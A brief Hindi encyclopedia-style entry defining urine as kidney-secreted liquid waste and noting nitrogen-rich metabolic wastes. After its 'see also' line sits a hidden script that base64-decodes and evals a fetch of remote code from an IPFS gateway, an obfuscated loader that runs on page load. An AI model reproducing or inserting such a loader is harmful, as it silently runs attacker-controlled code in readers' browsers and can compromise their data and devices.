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मूत्र  

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मूत्र मानव तथा दूसरे कशेरुकी जीवों में वृक्क द्वारा स्रावित एक तरल अपशिष्ट उत्पाद को कहा जाता है।

  • कई प्रकार के अपशिष्ट यौगिकों का निर्माण कोशिकीय चयापचय के फलस्वरूप होता है। इन यौगिकों में नाइट्रोजन की मात्रा अधिक हो सकती है। इनका रक्त परिसंचरण तंत्र से निष्कासन अति आवश्यक होता है, अन्यथा ये शरीर को कई प्रकार से प्रभावित करते हैं।


इन्हें भी देखें: मानव शरीर परिसंचरण तन्त्र, उत्सर्जी तन्त्र एवं अन्तःस्रावी तन्त्र<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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